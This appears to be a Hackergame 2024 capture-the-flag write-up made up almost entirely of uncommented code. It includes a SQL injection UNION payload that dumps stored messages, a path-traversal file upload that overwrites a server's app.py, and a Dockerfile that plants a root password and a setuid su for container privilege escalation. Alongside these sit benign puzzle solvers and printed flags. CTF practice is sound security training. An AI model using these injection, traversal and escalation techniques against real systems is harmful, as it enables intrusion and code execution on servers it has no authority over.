USTC Hackergame 2024 Writeup

def generate_search_payload():
    # 构造搜索所有包含flag记录的payload 
    # 使用group_concat将多条记录合并,用换行符分隔
    payload = "' UNION SELECT 'Flags', group_concat(id || ' | ' || title || ' | ' || contents, char(10)) "
    payload += "FROM messages WHERE contents LIKE '%flag%' OR title LIKE '%flag%' -- "
    
    # URL编码
    encoded_payload = urllib.parse.quote(payload)
    
    # 构造完整URL
    url = f"/view?conversation_id={encoded_payload}"
    
    return url

function gen(b, base) {
    var states = nfa(b, base)
    for (var i = 0; i < states.length; i++)
        states = reduce(states, i);
    return states[0][0] != 'phi' && new RegExp('^' + wrap(states[0][0]) + '$');
}

function test(reg, base) {
    if (!base)
        base = 10;

    var x = [];
    for (var i = 0; i < 100; i++)
        x.push(i);
    return x.map(function (a) {return a.toString(base)}).filter(reg.test.bind(reg)).map(function (a) {return parseInt(a, base)})
}

function nfa(b, base) {
    if (!base)
        base = 10;

    var states = [];
    for (var i = 0; i < b; i++) {
        states[i] = [];
        for (var j = 0; j < b; j++)
            states[i][j] = [];
    }

    for (var i = 0; i < b; i++)
        for (var n = 0; n < base; n++)
            states[i][(i * base + n) % b].push(n.toString());

    for (var i = 0; i < b; i++)
        for (var j = 0; j < b; j++)
            states[i][j] = states[i][j].length > 1 ? '[' + states[i][j].join('') + ']' : (states[i][j][0] || 'phi');
    return states;
}

// http://www.cs.umbc.edu/~squire/cs451_l7.html
function reduce(states, n) {
    var s = states.length;
    var reduced = [];
    for (var i = 0; i < s; i++) {
        reduced[i] = [];
        for (var j = 0; j < s; j++) {
            // reduced[i][j] = wrap(states[i][n] + wrap(states[n][n]) + '*' + states[n][j] + '|' + states[i][j]);
            reduced[i][j] = '';

            if (states[i][n] == 'phi' || states[n][j] == 'phi') {
                reduced[i][j] = states[i][j];
                continue;
            }

            if (states[i][n] != states[n][n])
                reduced[i][j] += wrap(states[i][n]);

            if (states[n][n] != 'phi') {
                reduced[i][j] += wrap(states[n][n]);

                if (states[i][n] == states[n][n] && states[n][j] == states[n][n])
                    reduced[i][j] += wrap(states[n][n]);

                if (states[i][n] == states[n][n] || states[n][j] == states[n][n])
                    reduced[i][j] += '+';
                else
                    reduced[i][j] += '*';
            }

            if (states[n][j] != states[n][n])
                reduced[i][j] += wrap(states[n][j]);

            reduced[i][j] = states[i][j] == 'phi' ? wrap(reduced[i][j]) : alternate(reduced[i][j], states[i][j]);
        }
    }
    return reduced;
}

function matching(x, open, close) {
    // Test if the parens are actually matching
    if ('(['.indexOf(x.charAt(open)) != -1 && ')]'.indexOf(x.charAt(close)) != -1) {
        var count = 0;
        for (var i = open; i <= close; i++) {
            if ('(['.indexOf(x.charAt(i)) != -1)
                count++;
            else if (')]'.indexOf(x.charAt(i)) != -1) {
                count--;

                if (count == 0)
                    return i == close;
            }
        }
    }

    return false;
}

function wrap(x) {
    if (x.length < 2 || matching(x, 0, x.length - 1))
        return x;
    return '(' + x + ')';
}

function optional(cond) {
    if (matching(cond, 0, cond.length - 2)) {
        var op = cond.charAt(cond.length - 1);
        if (op == '+')
            return cond.slice(0, -1) + '*';
        else if (op == '*' || op == '?')
            return cond;
    } else if (matching(cond, 0, cond.length - 1))
        return optional(cond.slice(1, -1));

    return wrap(cond) + '?';
}

function alternate(cond1, cond2) {
    cond2 = wrap(cond2);
    var index = cond1.indexOf(cond2);
    var len = cond2.length;
    var cond = '';

    if (index == 0) {
        var op = cond1.charAt(len);
        if (op == '*')
            cond = cond2 + '+' + optional(cond1.slice(len));
        else if (op == '+')
            cond = cond1;
        else 
            cond = cond2 + optional(cond1.slice(len));
    } else if (index == cond1.length - len)
        cond = optional(cond1.slice(0, index)) + cond2;
    else if (cond1.length == 1 && cond2.length == 1)
        cond = '[' + cond1 + cond2 + ']';
    else
        cond = cond1 + '|' + cond2;

    return wrap(cond);
}
regex = gen(13, 2)
//regex (0+)? with 0*
regex = regex.toString().replace(/\(0\+\)/g, '0*')
//remove head /^ and tail $/ before use
console.log(regex)

GZIP=-9  tar -czvf public.tar.gz public
base64 -i public.tar.gz > public_b64.txt

async function appendToFile(text, chunkSize = 10000, pauseDuration = 10000) {
    const input = document.getElementById('noVNC_keyboardinput');
    if (!input) {
        console.error("找不到键盘输入元素");
        return;
    }
    
    // 计算总块数
    const totalChunks = Math.ceil(text.length / chunkSize);
    console.log(`总共需要发送 ${totalChunks} 块数据，每块 ${chunkSize} 字符`);
    
    // 创建进度显示元素
    const progressDiv = document.createElement('div');
    progressDiv.style.cssText = `
        position: fixed;
        top: 10px;
        right: 10px;
        background: rgba(0, 0, 0, 0.8);
        color: white;
        padding: 10px;
        border-radius: 5px;
        font-family: monospace;
        z-index: 9999;
    `;
    document.body.appendChild(progressDiv);
    
    // 分块处理
    for (let i = 0; i < text.length; i += chunkSize) {
        const chunk = text.slice(i, i + chunkSize);
        const currentChunk = Math.floor(i / chunkSize) + 1;
        
        // 更新进度显示
        const progress = ((i + chunk.length) / text.length * 100).toFixed(2);
        progressDiv.innerHTML = `
            进度: ${progress}%<br>
            当前块: ${currentChunk}/${totalChunks}<br>
            已传输: ${i + chunk.length} / ${text.length} 字符`;
        
        // 构造echo命令
        // 使用-n参数避免换行符，使用单引号避免特殊字符问题
        const escapedChunk = chunk.replace(/'/g, "'\\''");
        const command = `echo -n '${escapedChunk}' >> 1.txt\n`;
        
        // 发送命令
        input.focus();
        input.value = command;
        input.dispatchEvent(new Event('input', {
            bubbles: true,
            cancelable: true,
        }));
        
        // 清空输入框
        await new Promise(resolve => setTimeout(() => {
            input.value = '';
            resolve();
        }, 100));
        
        // 如果不是最后一块，则暂停
        if (i + chunkSize < text.length) {
            // 显示倒计时
            const startTime = Date.now();
            const countDown = setInterval(() => {
                const remainingTime = Math.ceil((pauseDuration - (Date.now() - startTime)) / 1000);
                if (remainingTime > 0) {
                    progressDiv.innerHTML = `
                        进度: ${progress}%<br>
                        当前块: ${currentChunk}/${totalChunks}<br>
                        已传输: ${i + chunk.length} / ${text.length} 字符<br>
                        等待下一块: ${remainingTime}秒`;
                }
            }, 1000);
            
            await new Promise(resolve => setTimeout(() => {
                clearInterval(countDown);
                resolve();
            }, pauseDuration));
        }
    }
    
    // 完成后显示验证命令
    const verifyCommand = "wc -c 1.txt\n";
    input.focus();
    input.value = verifyCommand;
    input.dispatchEvent(new Event('input', {
        bubbles: true,
        cancelable: true,
    }));
    
    // 也显示原始长度，方便比对
    console.log(`原始字符串长度: ${text.length}`);
    
    // 等待3秒后移除进度显示
    await new Promise(resolve => setTimeout(resolve, 3000));
    progressDiv.remove();
}

// 使用方法：
// 0. 首先清空或创建文件：
//    echo -n > 1.txt
// 1. 然后开始传输：
//    appendToFile(你的base64字符串);

base64 -d 1.txt > public.tar.gz
tar -xvf public.tar.gz
cd public
python -m http.server 8000

FROM busybox:latest


# Create a new user
RUN adduser -D -u 1000 user && \
    # Set root password
    echo "root:root" | chpasswd && \
    # Make sure su has correct permissions
    chmod u+s /bin/su

# Switch to the new user
USER user
WORKDIR /home/user

CMD ["/bin/sh"]

dockerv:/tmp$ sudo docker run --rm -u 1000:1000 -v /flag:/flag -v /dev:/dev --pr
ivileged --pid=host --cap-add=SYS_ADMIN reader_busybox1 whoami
user
dockerv:/tmp$ sudo docker run --rm -u 1000:1000  -it -v /flag:/flag -v /dev:/dev
 --privileged --pid=host --cap-add=SYS_ADMIN reader_busybox1
~ $ su root
Password:
/home/user # cat /flag
flag{dONT_1OAD_uNTRusT3D_1ma6e_253cb5a83d_plz!}

#!/bin/sh
flag_key="hg2024_$(stat -c %X.%Y flag1.txt)_$(stat -c %X.%Y "$0")_zfs"
echo "46c518b175651d440771836987a4e7404f84b20a43cc18993ffba7a37106f508  -" > /tmp/sha256sum.txt
printf "%s" "$flag_key" | sha256sum --check /tmp/sha256sum.txt || exit 1
printf "flag{snapshot_%s}\n" "$(printf "%s" "$flag_key" | sha1sum | head -c 32)"

file = request.files['file'] 
filename = file.filename 
filepath = os.path.join(UPLOAD_DIR, filename) 
file.save(filepath)

import os
import requests
import json

def create_and_upload_file():
    # # 1. 创建一个看似正常的JSON文件
    # payload = [0] * 50000  # 创建50000个0的数组
    # filename = "payload.json"
    
    # # 将payload写入文件
    # with open(filename, 'w') as f:
    #     json.dump(payload, f)
    
    filename = "exp_ans.py"

    # 2. 上传文件
    url = "https://chal02-selrm3q9.hack-challenge.lug.ustc.edu.cn:8443/submit"
    
    # 设置特殊的文件名，尝试创建软链接
    files = {
        'file': ('../../tmp/web/app.py', open(filename, 'rb'), 'application/json')
    }
    
    # 发送请求
    response = requests.post(url, files=files)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
    
    # # 3. 清理临时文件
    # os.remove(filename)

if __name__ == "__main__":
    create_and_upload_file()

from flask import Flask, jsonify
import json

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    try:
        with open('answers.json', 'r') as f:
            answers = json.load(f)
            return jsonify({"answers": answers})
    except Exception as e:
        return jsonify({"error": str(e)})

if __name__ == '__main__':
    app.run()

def decode_flag(numbers):
    # 将每个数字加65然后转换为ASCII字符
    flag = ''
    for num in numbers:
        char = chr(num + 65)
        flag += char
    
    return flag

# 从响应中获取的数字
numbers = [37,43,32,38,58,52,45,46,-32,-32,-32,-32,30,36,50,49,36,53,36,49,30,45,46,54,30,20,30,49,52,45,30,12,24,30,34,-17,35,36,35,34,37,-8,33,32,-9,37,-15,37,60,11,25,73,78,25,46,78,45,68,55,60,96,44,13,53,62,80,14,88,70,33,8,33,41,94,35,8,99,51,90,49,14,38,3,13,40,91,57,28,99,51,27,42,41,56,71,85,45,1,39,42,92,2,25,62,6,13,35,64,71,13,98,66,30,90,12,73,70,56,92,71,43,81,75,84,9,10,61,10,9,16,47,32,60,76,73,66,76,93,44,38,38,25,8,38,31,17,15,19,65,33,32,14,66,21,46,30,62,18,19,74,14,77,62,66,40,44,80,71,53,39,22,100,90,71,79,17,65,32,70,43,83,45,63,40,53,68,6,89,36,45,27,28,68,53,30,56,54,96,35,61,44,90,11,63,29,87,60,22,50,97,98,2,70,10,0,82,50,64,12,87,8,50,69,44,58,1,96,20,93,92,83,14,67,44,19,49,86,82,54,65,67,68,24,39,75,18,97,22,49,69,24,36,71,13,9,12,69,11,55,2,89,7,30,43,80,92,28,3,78,1,11,6,6,72,94,17,92,57,26,10,14,91,44,9,18,22,81,42,28,8,73,28,66,80,41,15,77,77,90,84,8,1,66,99,39,27,3,83,36,8,1,11,23,64,90,69,64,94,15,6,29,1,52,45,89,88,80,95,44,33,34,5,17,65,15,63,11,54,71,83,49,71,100,74,97,45,56,79,28,31,94,77,92,29,46,70,87,8,69,64,42,42,52,96,84,43,82,11,45,16,77,3,1,15,19,74,34,100,4,95,25,17,20,29,57,62,12,47,96,46,17,69,9,47,4,57,39,65,39,30,12,17,22,44,24,59,84,35,73,66,56,92,61,73,77,10,78,85,66,13,14,28,41,80,68,7,44,34,20,23,67,81,91,62,25,67,67,78,72,29,42,10,15,68,95,55,57,63,49,82,44,8,62,90,4,49,87,5,57,23,88,39,25,56,7,55,74,99,74,48,83,29,84,65,29,15,10,76,4,79,56,6,80,70,48,48,15,93,41,55,49,50,0,47,35,84,96,77,89,87]

# 解码并打印flag
flag = decode_flag(numbers)
print(f"Flag: {flag}")

# Flag: flag{uno!!!!_esrever_now_U_run_MY_c0dedcf9ba8f2f}LZ...

import numpy as np
from typing import List, Tuple

def create_coefficient_matrix(n: int) -> np.ndarray:
    """Create the coefficient matrix for the linear system."""
    size = n * n * n
    matrix = np.zeros((size, size), dtype=np.uint8)
    
    for i in range(n):
        for j in range(n):
            for k in range(n):
                idx = i * n * n + j * n + k
                # The switch affects itself
                matrix[idx][idx] = 1
                
                # Affect adjacent positions
                if i > 0:   # up
                    matrix[idx - n*n][idx] = 1
                if i < n-1: # down
                    matrix[idx + n*n][idx] = 1
                if j > 0:   # left
                    matrix[idx - n][idx] = 1
                if j < n-1: # right
                    matrix[idx + n][idx] = 1
                if k > 0:   # front
                    matrix[idx - 1][idx] = 1
                if k < n-1: # back
                    matrix[idx + 1][idx] = 1
    
    return matrix

def gauss_elimination_gf2(matrix: np.ndarray, vector: np.ndarray) -> np.ndarray:
    """Perform Gaussian elimination in GF(2)."""
    n = len(vector)
    augmented = np.column_stack((matrix, vector))
    
    # Forward elimination
    for i in range(n):
        # Find pivot
        pivot_row = i
        while pivot_row < n and augmented[pivot_row, i] == 0:
            pivot_row += 1
            
        if pivot_row == n:
            continue
            
        # Swap rows if necessary
        if pivot_row != i:
            augmented[i], augmented[pivot_row] = augmented[pivot_row].copy(), augmented[i].copy()
        
        # Eliminate below
        for j in range(i + 1, n):
            if augmented[j, i] == 1:
                augmented[j] = (augmented[j] + augmented[i]) % 2
    
    # Back substitution
    solution = np.zeros(n, dtype=np.uint8)
    for i in range(n-1, -1, -1):
        if augmented[i, i] == 0:
            if augmented[i, -1] == 1:
                raise ValueError("No solution exists")
            continue
        
        solution[i] = augmented[i, -1]
        for j in range(i+1, n):
            solution[i] = (solution[i] + augmented[i, j] * solution[j]) % 2
            
    return solution

def solve_lights_out_3d(lights_string: str, n: int) -> str:
    """Solve the 3D Lights Out puzzle."""
    # Convert lights string to array
    lights = np.array([int(x) for x in lights_string], dtype=np.uint8)
    
    # Create coefficient matrix
    coef_matrix = create_coefficient_matrix(n)
    
    # Solve using Gaussian elimination
    try:
        solution = gauss_elimination_gf2(coef_matrix, lights)
        return ''.join(map(str, solution))
    except ValueError:
        return "No solution exists"

# Example usage function
def solve_puzzle(lights_string: str, n: int) -> str:
    result = solve_lights_out_3d(lights_string, n)
    if result == "No solution exists":
        print("No solution exists for this puzzle")
        return ""
    return result

import json

def print_grid(grid):
    """Pretty print the sudoku grid"""
    for i in range(9):
        if i % 3 == 0 and i != 0:
            print("- - - - - - - - - - - -")
        for j in range(9):
            if j % 3 == 0 and j != 0:
                print("|", end=" ")
            if j == 8:
                print(grid[i][j])
            else:
                print(str(grid[i][j]) + " ", end="")

def convert_1d_to_2d(puzzle):
    """Convert 1D array to 2D grid"""
    return [puzzle[i:i + 9] for i in range(0, 81, 9)]

def is_safe(grid, row, col, num):
    """Check if it's safe to place number"""
    # Check row
    for x in range(9):
        if grid[row][x] == num:
            return False
    # Check column
    for x in range(9):
        if grid[x][col] == num:
            return False
    # Check 3x3 box
    start_row, start_col = 3 * (row // 3), 3 * (col // 3)
    for i in range(3):
        for j in range(3):
            if grid[i + start_row][j + start_col] == num:
                return False
    return True

def solve_sudoku(grid):
    """Solve sudoku using backtracking"""
    empty = find_empty(grid)
    if not empty:
        return True
    
    row, col = empty
    for num in range(1, 10):
        if is_safe(grid, row, col, num):
            grid[row][col] = num
            if solve_sudoku(grid):
                return True
            grid[row][col] = 0
    return False

def find_empty(grid):
    """Find empty cell in grid"""
    for i in range(9):
        for j in range(9):
            if grid[i][j] == 0:
                return (i, j)
    return None

def create_input_files(puzzle_json, output_input="input.json", output_public="public.json"):
    """Create input.json and public.json from puzzle JSON"""
    # Load puzzle
    if isinstance(puzzle_json, str):
        with open(puzzle_json) as f:
            data = json.load(f)
        puzzle = data['puzzle']
    else:
        puzzle = puzzle_json['puzzle']

    # Convert to 2D and solve
    grid = convert_1d_to_2d(puzzle)
    solution = [row[:] for row in grid]  # Create a copy
    
    print("Original puzzle:")
    print_grid(grid)
    
    if solve_sudoku(solution):
        print("\nSolution found:")
        print_grid(solution)
        
        # Create input.json
        input_data = {
            "unsolved_grid": grid,
            "solved_grid": solution
        }
        with open(output_input, 'w') as f:
            json.dump(input_data, f)
        
        # Create public.json
        public_data = {
            "public": [str(x) for x in puzzle]
        }
        with open(output_public, 'w') as f:
            json.dump(public_data, f)
        
        print("\nCreated input.json and public.json successfully!")
    else:
        print("No solution exists!")

# Example usage:
puzzle = {
    "puzzle": [
        9,0,0,0,0,0,1,0,0,
        8,0,0,0,0,0,2,0,0,
        7,0,0,0,0,0,3,0,0,
        0,0,1,0,0,0,0,0,6,
        0,2,0,0,0,0,0,7,0,
        0,0,3,0,0,0,0,0,0,
        0,1,0,0,0,0,0,6,0,
        0,0,2,0,0,0,0,0,7,
        0,3,0,0,0,0,0,0,0,
    ],
    "difficulty": "expert"
}

create_input_files(puzzle)

./circom-macos-amd64 sudoku.circom --r1cs --wasm --sym
node sudoku_js/generate_witness.js sudoku.wasm input.json witness.wtns
snarkjs groth16 prove sudoku.zkey witness.wtns proof.json public.json
snarkjs groth16 verify verification_key.json public.json proof.json